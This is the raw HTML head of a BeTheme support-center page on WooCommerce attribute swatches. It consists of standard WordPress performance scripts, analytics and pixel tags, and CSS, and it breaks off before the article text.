CINXE.COM

<!DOCTYPE html> <html lang="en-US" class="no-js" itemscope itemtype="https://schema.org/WebPage"> <head><meta charset="UTF-8" /><script>if(navigator.userAgent.match(/MSIE|Internet Explorer/i)||navigator.userAgent.match(/Trident\/7\..*?rv:11/i)){var href=document.location.href;if(!href.match(/[?&]nowprocket/)){if(href.indexOf("?")==-1){if(href.indexOf("#")==-1){document.location.href=href+"?nowprocket=1"}else{document.location.href=href.replace("#","?nowprocket=1#")}}else{if(href.indexOf("#")==-1){document.location.href=href+"&nowprocket=1"}else{document.location.href=href.replace("#","&nowprocket=1#")}}}}</script><script>class RocketLazyLoadScripts{constructor(){this.v="1.2.3",this.triggerEvents=["keydown","mousedown","mousemove","touchmove","touchstart","touchend","wheel"],this.userEventHandler=this._triggerListener.bind(this),this.touchStartHandler=this._onTouchStart.bind(this),this.touchMoveHandler=this._onTouchMove.bind(this),this.touchEndHandler=this._onTouchEnd.bind(this),this.clickHandler=this._onClick.bind(this),this.interceptedClicks=[],window.addEventListener("pageshow",t=>{this.persisted=t.persisted}),window.addEventListener("DOMContentLoaded",()=>{this._preconnect3rdParties()}),this.delayedScripts={normal:[],async:[],defer:[]},this.trash=[],this.allJQueries=[]}_addUserInteractionListener(t){if(document.hidden){t._triggerListener();return}this.triggerEvents.forEach(e=>window.addEventListener(e,t.userEventHandler,{passive:!0})),window.addEventListener("touchstart",t.touchStartHandler,{passive:!0}),window.addEventListener("mousedown",t.touchStartHandler),document.addEventListener("visibilitychange",t.userEventHandler)}_removeUserInteractionListener(){this.triggerEvents.forEach(t=>window.removeEventListener(t,this.userEventHandler,{passive:!0})),document.removeEventListener("visibilitychange",this.userEventHandler)}_onTouchStart(t){"HTML"!==t.target.tagName&&(window.addEventListener("touchend",this.touchEndHandler),window.addEventListener("mouseup",this.touchEndHandler),window.addEventListener("touchmove",this.touchMoveHandler,{passive:!0}),window.addEventListener("mousemove",this.touchMoveHandler),t.target.addEventListener("click",this.clickHandler),this._renameDOMAttribute(t.target,"onclick","rocket-onclick"),this._pendingClickStarted())}_onTouchMove(t){window.removeEventListener("touchend",this.touchEndHandler),window.removeEventListener("mouseup",this.touchEndHandler),window.removeEventListener("touchmove",this.touchMoveHandler,{passive:!0}),window.removeEventListener("mousemove",this.touchMoveHandler),t.target.removeEventListener("click",this.clickHandler),this._renameDOMAttribute(t.target,"rocket-onclick","onclick"),this._pendingClickFinished()}_onTouchEnd(t){window.removeEventListener("touchend",this.touchEndHandler),window.removeEventListener("mouseup",this.touchEndHandler),window.removeEventListener("touchmove",this.touchMoveHandler,{passive:!0}),window.removeEventListener("mousemove",this.touchMoveHandler)}_onClick(t){t.target.removeEventListener("click",this.clickHandler),this._renameDOMAttribute(t.target,"rocket-onclick","onclick"),this.interceptedClicks.push(t),t.preventDefault(),t.stopPropagation(),t.stopImmediatePropagation(),this._pendingClickFinished()}_replayClicks(){window.removeEventListener("touchstart",this.touchStartHandler,{passive:!0}),window.removeEventListener("mousedown",this.touchStartHandler),this.interceptedClicks.forEach(t=>{t.target.dispatchEvent(new MouseEvent("click",{view:t.view,bubbles:!0,cancelable:!0}))})}_waitForPendingClicks(){return new Promise(t=>{this._isClickPending?this._pendingClickFinished=t:t()})}_pendingClickStarted(){this._isClickPending=!0}_pendingClickFinished(){this._isClickPending=!1}_renameDOMAttribute(t,e,r){t.hasAttribute&&t.hasAttribute(e)&&(event.target.setAttribute(r,event.target.getAttribute(e)),event.target.removeAttribute(e))}_triggerListener(){this._removeUserInteractionListener(this),"loading"===document.readyState?document.addEventListener("DOMContentLoaded",this._loadEverythingNow.bind(this)):this._loadEverythingNow()}_preconnect3rdParties(){let t=[];document.querySelectorAll("script[type=rocketlazyloadscript]").forEach(e=>{if(e.hasAttribute("src")){let r=new URL(e.src).origin;r!==location.origin&&t.push({src:r,crossOrigin:e.crossOrigin||"module"===e.getAttribute("data-rocket-type")})}}),t=[...new Map(t.map(t=>[JSON.stringify(t),t])).values()],this._batchInjectResourceHints(t,"preconnect")}async _loadEverythingNow(){this.lastBreath=Date.now(),this._delayEventListeners(this),this._delayJQueryReady(this),this._handleDocumentWrite(),this._registerAllDelayedScripts(),this._preloadAllScripts(),await this._loadScriptsFromList(this.delayedScripts.normal),await this._loadScriptsFromList(this.delayedScripts.defer),await this._loadScriptsFromList(this.delayedScripts.async);try{await this._triggerDOMContentLoaded(),await this._triggerWindowLoad()}catch(t){console.error(t)}window.dispatchEvent(new Event("rocket-allScriptsLoaded")),this._waitForPendingClicks().then(()=>{this._replayClicks()}),this._emptyTrash()}_registerAllDelayedScripts(){document.querySelectorAll("script[type=rocketlazyloadscript]").forEach(t=>{t.hasAttribute("data-rocket-src")?t.hasAttribute("async")&&!1!==t.async?this.delayedScripts.async.push(t):t.hasAttribute("defer")&&!1!==t.defer||"module"===t.getAttribute("data-rocket-type")?this.delayedScripts.defer.push(t):this.delayedScripts.normal.push(t):this.delayedScripts.normal.push(t)})}async _transformScript(t){return new Promise((await this._littleBreath(),navigator.userAgent.indexOf("Firefox/")>0||""===navigator.vendor)?e=>{let r=document.createElement("script");[...t.attributes].forEach(t=>{let e=t.nodeName;"type"!==e&&("data-rocket-type"===e&&(e="type"),"data-rocket-src"===e&&(e="src"),r.setAttribute(e,t.nodeValue))}),t.text&&(r.text=t.text),r.hasAttribute("src")?(r.addEventListener("load",e),r.addEventListener("error",e)):(r.text=t.text,e());try{t.parentNode.replaceChild(r,t)}catch(i){e()}}:async e=>{function r(){t.setAttribute("data-rocket-status","failed"),e()}try{let i=t.getAttribute("data-rocket-type"),n=t.getAttribute("data-rocket-src");t.text,i?(t.type=i,t.removeAttribute("data-rocket-type")):t.removeAttribute("type"),t.addEventListener("load",function r(){t.setAttribute("data-rocket-status","executed"),e()}),t.addEventListener("error",r),n?(t.removeAttribute("data-rocket-src"),t.src=n):t.src="data:text/javascript;base64,"+window.btoa(unescape(encodeURIComponent(t.text)))}catch(s){r()}})}async _loadScriptsFromList(t){let e=t.shift();return e&&e.isConnected?(await this._transformScript(e),this._loadScriptsFromList(t)):Promise.resolve()}_preloadAllScripts(){this._batchInjectResourceHints([...this.delayedScripts.normal,...this.delayedScripts.defer,...this.delayedScripts.async],"preload")}_batchInjectResourceHints(t,e){var r=document.createDocumentFragment();t.forEach(t=>{let i=t.getAttribute&&t.getAttribute("data-rocket-src")||t.src;if(i){let n=document.createElement("link");n.href=i,n.rel=e,"preconnect"!==e&&(n.as="script"),t.getAttribute&&"module"===t.getAttribute("data-rocket-type")&&(n.crossOrigin=!0),t.crossOrigin&&(n.crossOrigin=t.crossOrigin),t.integrity&&(n.integrity=t.integrity),r.appendChild(n),this.trash.push(n)}}),document.head.appendChild(r)}_delayEventListeners(t){let e={};function r(t,r){!function t(r){!e[r]&&(e[r]={originalFunctions:{add:r.addEventListener,remove:r.removeEventListener},eventsToRewrite:[]},r.addEventListener=function(){arguments[0]=i(arguments[0]),e[r].originalFunctions.add.apply(r,arguments)},r.removeEventListener=function(){arguments[0]=i(arguments[0]),e[r].originalFunctions.remove.apply(r,arguments)});function i(t){return e[r].eventsToRewrite.indexOf(t)>=0?"rocket-"+t:t}}(t),e[t].eventsToRewrite.push(r)}function i(t,e){let r=t[e];Object.defineProperty(t,e,{get:()=>r||function(){},set(i){t["rocket"+e]=r=i}})}r(document,"DOMContentLoaded"),r(window,"DOMContentLoaded"),r(window,"load"),r(window,"pageshow"),r(document,"readystatechange"),i(document,"onreadystatechange"),i(window,"onload"),i(window,"onpageshow")}_delayJQueryReady(t){let e;function r(r){if(r&&r.fn&&!t.allJQueries.includes(r)){r.fn.ready=r.fn.init.prototype.ready=function(e){return t.domReadyFired?e.bind(document)(r):document.addEventListener("rocket-DOMContentLoaded",()=>e.bind(document)(r)),r([])};let i=r.fn.on;r.fn.on=r.fn.init.prototype.on=function(){if(this[0]===window){function t(t){return t.split(" ").map(t=>"load"===t||0===t.indexOf("load.")?"rocket-jquery-load":t).join(" ")}"string"==typeof arguments[0]||arguments[0]instanceof String?arguments[0]=t(arguments[0]):"object"==typeof arguments[0]&&Object.keys(arguments[0]).forEach(e=>{let r=arguments[0][e];delete arguments[0][e],arguments[0][t(e)]=r})}return i.apply(this,arguments),this},t.allJQueries.push(r)}e=r}r(window.jQuery),Object.defineProperty(window,"jQuery",{get:()=>e,set(t){r(t)}})}async _triggerDOMContentLoaded(){this.domReadyFired=!0,await this._littleBreath(),document.dispatchEvent(new Event("rocket-DOMContentLoaded")),await this._littleBreath(),window.dispatchEvent(new Event("rocket-DOMContentLoaded")),await this._littleBreath(),document.dispatchEvent(new Event("rocket-readystatechange")),await this._littleBreath(),document.rocketonreadystatechange&&document.rocketonreadystatechange()}async _triggerWindowLoad(){await this._littleBreath(),window.dispatchEvent(new Event("rocket-load")),await this._littleBreath(),window.rocketonload&&window.rocketonload(),await this._littleBreath(),this.allJQueries.forEach(t=>t(window).trigger("rocket-jquery-load")),await this._littleBreath();let t=new Event("rocket-pageshow");t.persisted=this.persisted,window.dispatchEvent(t),await this._littleBreath(),window.rocketonpageshow&&window.rocketonpageshow({persisted:this.persisted})}_handleDocumentWrite(){let t=new Map;document.write=document.writeln=function(e){let r=document.currentScript;r||console.error("WPRocket unable to document.write this: "+e);let i=document.createRange(),n=r.parentElement,s=t.get(r);void 0===s&&(s=r.nextSibling,t.set(r,s));let a=document.createDocumentFragment();i.setStart(a,0),a.appendChild(i.createContextualFragment(e)),n.insertBefore(a,s)}}async _littleBreath(){Date.now()-this.lastBreath>45&&(await this._requestAnimFrame(),this.lastBreath=Date.now())}async _requestAnimFrame(){return document.hidden?new Promise(t=>setTimeout(t)):new Promise(t=>requestAnimationFrame(t))}_emptyTrash(){this.trash.forEach(t=>t.remove())}static run(){let t=new RocketLazyLoadScripts;t._addUserInteractionListener(t)}}RocketLazyLoadScripts.run();</script> <meta name="description" content="This is BeTheme Support Center where you can search in FAQs and Documentation. Have problem or faced an issue? No worries, we will help you!"/> <meta name="keywords" content="betheme, be theme, wordpress, theme, muffin group, muffin builder, support, documentation, faq, help"/> <meta property="og:image" content="https://support.muffingroup.com/wp-content/uploads/2021/07/More-than-just-a-WordPress-Theme-1200x627-1.png"/> <link rel="alternate" hreflang="en-US" href="https://support.muffingroup.com/documentation/woocommerce/how-to-use-woocommerce-attribute-swatches/"/>  <script type="rocketlazyloadscript" async data-rocket-src="https://www.googletagmanager.com/gtag/js?id=G-EQ0837VQVT"></script> <script type="rocketlazyloadscript"> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'G-EQ0837VQVT'); </script> <script type="rocketlazyloadscript" defer>!function(e,t,n,c,o,a,f){e.fbq||(o=e.fbq=function(){o.callMethod?o.callMethod.apply(o,arguments):o.queue.push(arguments)},e._fbq||(e._fbq=o),o.push=o,o.loaded=!0,o.version="2.0",o.queue=[],(a=t.createElement(n)).async=!0,a.src="https://connect.facebook.net/en_US/fbevents.js",(f=t.getElementsByTagName(n)[0]).parentNode.insertBefore(a,f))}(window,document,"script"),fbq("init","1497354407175634"),fbq("track","PageView");</script> <noscript><img height="1" width="1" src="https://www.facebook.com/tr?id=1497354407175634&ev=PageView&noscript=1"/></noscript><title>How to use WooCommerce Attribute Swatches – Betheme Support Center</title> <link rel="preload" as="font" href="https://support.muffingroup.com/wp-content/themes/betheme-child/fonts/Poppins/Poppins-Regular.ttf" crossorigin> <link rel="preload" as="font" href="https://support.muffingroup.com/wp-content/themes/betheme-child/fonts/Poppins/Poppins-Medium.ttf" crossorigin> <link rel="preload" as="font" href="https://support.muffingroup.com/wp-content/themes/betheme-child/fonts/Poppins/Poppins-SemiBold.ttf" crossorigin> <link rel="preload" as="font" href="https://support.muffingroup.com/wp-content/themes/betheme-child/fonts/Poppins/Poppins-Bold.ttf" crossorigin> <link rel="preload" as="font" href="https://support.muffingroup.com/wp-content/themes/betheme/fonts/mfn-icons.woff?31690507" crossorigin> <link rel="preload" as="font" href="https://support.muffingroup.com/wp-content/themes/betheme-child/fonts/fontawesome/webfonts/fa-solid-900.woff2" crossorigin> <link rel="preload" as="font" href="https://support.muffingroup.com/wp-content/themes/betheme-child/fonts/fontawesome/webfonts/fa-brands-400.woff2" crossorigin><link rel="stylesheet" href="https://support.muffingroup.com/wp-content/cache/min/1/e78929409872f098f68a90a5f3545296.css" media="all" data-minify="1" /> <meta name='robots' content='max-image-preview:large' /> <meta name="format-detection" content="telephone=no"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <link rel="shortcut icon" href="https://support.muffingroup.com/wp-content/themes/betheme/images/favicon.ico" type="image/x-icon" /> <style type="text/css"> img.wp-smiley, img.emoji { display: inline !important; border: none !important; box-shadow: none !important; height: 1em !important; width: 1em !important; margin: 0 0.07em !important; vertical-align: -0.1em !important; background: none !important; padding: 0 !important; } </style> <style id='global-styles-inline-css' type='text/css'> body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--duotone--dark-grayscale: url('#wp-duotone-dark-grayscale');--wp--preset--duotone--grayscale: url('#wp-duotone-grayscale');--wp--preset--duotone--purple-yellow: url('#wp-duotone-purple-yellow');--wp--preset--duotone--blue-red: url('#wp-duotone-blue-red');--wp--preset--duotone--midnight: url('#wp-duotone-midnight');--wp--preset--duotone--magenta-yellow: url('#wp-duotone-magenta-yellow');--wp--preset--duotone--purple-green: url('#wp-duotone-purple-green');--wp--preset--duotone--blue-orange: url('#wp-duotone-blue-orange');--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}body .is-layout-flow > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-flow > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-flow > .aligncenter{margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > :where(:not(.alignleft):not(.alignright):not(.alignfull)){max-width: var(--wp--style--global--content-size);margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignwide{max-width: var(--wp--style--global--wide-size);}body .is-layout-flex{display: flex;}body .is-layout-flex{flex-wrap: wrap;align-items: center;}body .is-layout-flex > *{margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;} .wp-block-navigation a:where(:not(.wp-element-button)){color: inherit;} :where(.wp-block-columns.is-layout-flex){gap: 2em;} .wp-block-pullquote{font-size: 1.5em;line-height: 1.6;} </style> <style id='mfn-dynamic-inline-css' type='text/css'> body:not(.template-slider) #Header_wrapper{background-image:url(https://support.muffingroup.com/wp-content/uploads/2020/08/bgd.jpg);background-repeat:no-repeat;background-position:center;background-size:cover} form input.display-none{display:none!important} </style> <style id='mfn-custom-inline-css' type='text/css'> body.archive .breadcrumbs li:nth-child(2), body.single-post .breadcrumbs li:nth-child(2) { display: none !important; } .postid-2113 .twentytwenty-after-label::before { content: "Muffin Builder" !important; } .postid-2113 .twentytwenty-before-label::before { content: "Muffin Live Builder" !important; } .page-id-1619 #Subheader, .page-id-1619 #Subheader .breadcrumbs { text-align: center; } .postid-2242 .twentytwenty-after-label::before { content: "CODE" !important; } .postid-2242 .twentytwenty-before-label::before { content: "VISUAL" !important; } @media only screen and (max-width: 768px) { .single-post .share-simple-wrapper .icons { display: block; margin-top: 10px; } .single-post .share-simple-wrapper .post-published-date { float: right; margin-top: -30px !important; } .single-post #Subheader { padding: 160px 0 35px; } .page-id-1619 #Subheader { padding: 150px 0 40px; } .page-id-1619 .update { max-width: 100%; } } /* REST API */ .route-divider{ display:block; padding: 7.5px 10px; background: #cceafb; width: 95%; border-radius: 7px; margin-bottom: 20px; margin-top: 20px; font-weight:500; } ul.route-list li{ margin-bottom: 60px !important; } .route-customized { top: unset !important; } .route-customized span { background: #0095eb; } .route-object-schema > div {margin-top:10px;} .route-object-schema, .route-object-schema div{display:flex; flex-direction: column;} .route-object-schema{width:300px; margin-left:20px; position:relative;} .route-object-schema::before{ position:absolute; content:''; height:100%; width:2px; left:-18px; background-color:black; } .route-object-schema code{padding:5px 10px; margin:0; border-radius:0; position:relative;background: white;z-index: 999999;} .route-object-schema > div{width:300px;} .route-object-schema div > div{margin-left:40px; width:260px;} .route-object-schema div > div > div{margin-left:40px; width:220px;} .route-object-schema code span{ font-size: 10px; letter-spacing: -1px; padding: 1px 10px; border-radius: 20px; display: inline-block; right:5px; position: absolute; color: #fff; font-weight: 600; background: #0095eb; } div[data-attr="schema-level-1"] > code::before{ position:absolute; content:''; background:black; width:15px; height: 2px; top:50%; right:100.5%; } div[data-attr="schema-level-2"] > code::before{ position:absolute; content:''; background:black; width:15px; height: 2px; top:50%; right:100.5%; } div[data-attr="schema-level-2"]:first-of-type > code:first-of-type::after{ position:absolute; content:''; background:black; width:2px; height: 20px; top:0%; right:106%;} div[data-attr="schema-level-2"] > code::after{ position:absolute; content:''; background:black; width:2px; height: 105%; top:-50%; left:-18px;} div[data-attr="schema-level-3"] { margin-top: 10px; z-index:-1 } div[data-attr="schema-level-3"]:first-of-type > code::before{ position:absolute; content:''; background:black; width:15px; height: 2px; top:50%; right:100.5%; } div[data-attr="schema-level-3"]:first-of-type > code:first-of-type::after{ position:absolute; content:''; background:black; width:2px; height: 20px; top:0%; right:106%;} div[data-attr="schema-level-3"]:first-of-type > code::after{ position:absolute; content:''; background:black; width:2px; height: 195%; top:-140%; left:-18px;} div[data-attr="schema-level-3"] > code::before{ position:absolute; content:''; background:black; width:30px; height: 2px; top:50%; right:100.5%; z-index: -1 !important;} div[data-attr="schema-level-3"] > code::after{ position:absolute; content:''; background:black; width:2px; height: 100%; top:-50%; left:-32px;} div[data-attr="schema-level-3"]:nth-of-type(2) > code:first-of-type::after{ position:absolute; content:''; background:black; width:30px; height: 2px; top:50%;} div[data-attr="schema-level-3"]:nth-of-type(2) > code:first-of-type::before{ z-index: 2; position:absolute; content:''; background:black; width:2px; height: 800%; left:-14.5%; top:-750%;} div[data-attr="schema-level-4"] { margin-top: 10px; z-index:-1 } div[data-attr="schema-level-4"]:first-of-type > code::before{ position:absolute; content:''; background:black; width:15px; height: 2px; top:50%; right:100.5%; } div[data-attr="schema-level-4"]:first-of-type > code:first-of-type::after{ position:absolute; content:''; background:black; width:2px; height: 20px; top:0%; right:106%;} div[data-attr="schema-level-4"]:first-of-type > code::after{ position:absolute; content:''; background:black; width:2px; height: 195%; top:-140%; left:-18px;} div[data-attr="schema-level-4"] > code::before{ position:absolute; content:''; background:black; width:30px; height: 2px; top:50%; right:100.5%; z-index: -1 !important;} div[data-attr="schema-level-4"] > code::after{ position:absolute; content:''; background:black; width:2px; height: 100%; top:-50%; left:-32px;} div[data-attr="schema-level-4"]:nth-of-type(2) > code:first-of-type::after{ position:absolute; content:''; background:black; width:30px; height: 2px; top:50%;} div[data-attr="schema-level-4"]:nth-of-type(2) > code:first-of-type::before{ z-index: 2; position:absolute; content:''; background:black; width:2px; height: 500%; left:-14.5%; top:-394%;} .route-code{ display:flex; flex-direction:row; align-items: stretch; } .route-code-container:nth-of-type(1){ padding-right:25px; display:flex; flex-direction: column} .route-code-container:nth-of-type(2){ left: 115%; margin-top:-60px; z-index: 4 !important; position: absolute; width: 500px; } .route-code-container:nth-of-type(2) pre{ border:unset !important; font-weight:400; border-radius:0px !important; height:100%; display:flex; align-items: flex-start; margin-top:0px; background:#292929; color:whitesmoke; font-size: 14px;} .route-response{background-color: #1c1c1c;border-radius: 5px;padding: 7.5px 10px;color: #ccc;border-top: 1px solid #000;border-bottom: 1px solid #404040;} @media (max-width:1080px) { .route-code-container:nth-of-type(2){ width: 365px; } .route-customized .goto{ font-size:11px; margin-right:5px; } .route-customized code{ font-size:10px; } } </style> <script type="rocketlazyloadscript" data-rocket-type='text/javascript' data-rocket-src='https://support.muffingroup.com/wp-includes/js/jquery/jquery.min.js' id='jquery-core-js'></script> <script type="rocketlazyloadscript" data-rocket-type='text/javascript' data-rocket-src='https://support.muffingroup.com/wp-includes/js/jquery/jquery-migrate.min.js' id='jquery-migrate-js' defer></script> <script type="rocketlazyloadscript" data-rocket-type='text/javascript' data-rocket-src='https://support.muffingroup.com/wp-includes/js/codemirror/codemirror.min.js' id='wp-codemirror-js' defer></script> <script type="rocketlazyloadscript" data-rocket-type='text/javascript' data-rocket-src='https://support.muffingroup.com/wp-includes/js/underscore.min.js' id='underscore-js' defer></script> <script type="rocketlazyloadscript" data-rocket-type='text/javascript' data-rocket-src='https://support.muffingroup.com/wp-admin/js/code-editor.min.js' id='code-editor-js' defer></script> <script type="rocketlazyloadscript" data-rocket-type='text/javascript' id='code-editor-js-after'> jQuery.extend( wp.codeEditor.defaultSettings, {"codemirror":{"indentUnit":2,"indentWithTabs":true,"inputStyle":"contenteditable","lineNumbers":true,"lineWrapping":true,"styleActiveLine":true,"continueComments":true,"extraKeys":{"Ctrl-Space":"autocomplete","Ctrl-\/":"toggleComment","Cmd-\/":"toggleComment","Alt-F":"findPersistent","Ctrl-F":"findPersistent","Cmd-F":"findPersistent"},"direction":"ltr","gutters":[],"mode":"","autoRefresh":true,"readOnly":"nocursor","tabSize":2},"csslint":{"errors":true,"box-model":true,"display-property-grouping":true,"duplicate-properties":true,"known-properties":true,"outline-none":true},"jshint":{"boss":true,"curly":true,"eqeqeq":true,"eqnull":true,"es3":true,"expr":true,"immed":true,"noarg":true,"nonbsp":true,"onevar":true,"quotmark":"single","trailing":true,"undef":true,"unused":true,"browser":true,"globals":{"_":false,"Backbone":false,"jQuery":false,"JSON":false,"wp":false}},"htmlhint":{"tagname-lowercase":true,"attr-lowercase":true,"attr-value-double-quotes":false,"doctype-first":false,"tag-pair":true,"spec-char-escape":true,"id-unique":true,"src-not-empty":true,"attr-no-duplication":true,"alt-require":true,"space-tab-mixed-disabled":"tab","attr-unsafe-chars":true}} ); </script> <link rel="https://api.w.org/" href="https://support.muffingroup.com/wp-json/" /><link rel="alternate" type="application/json" href="https://support.muffingroup.com/wp-json/wp/v2/pages/2156" /><link rel="canonical" 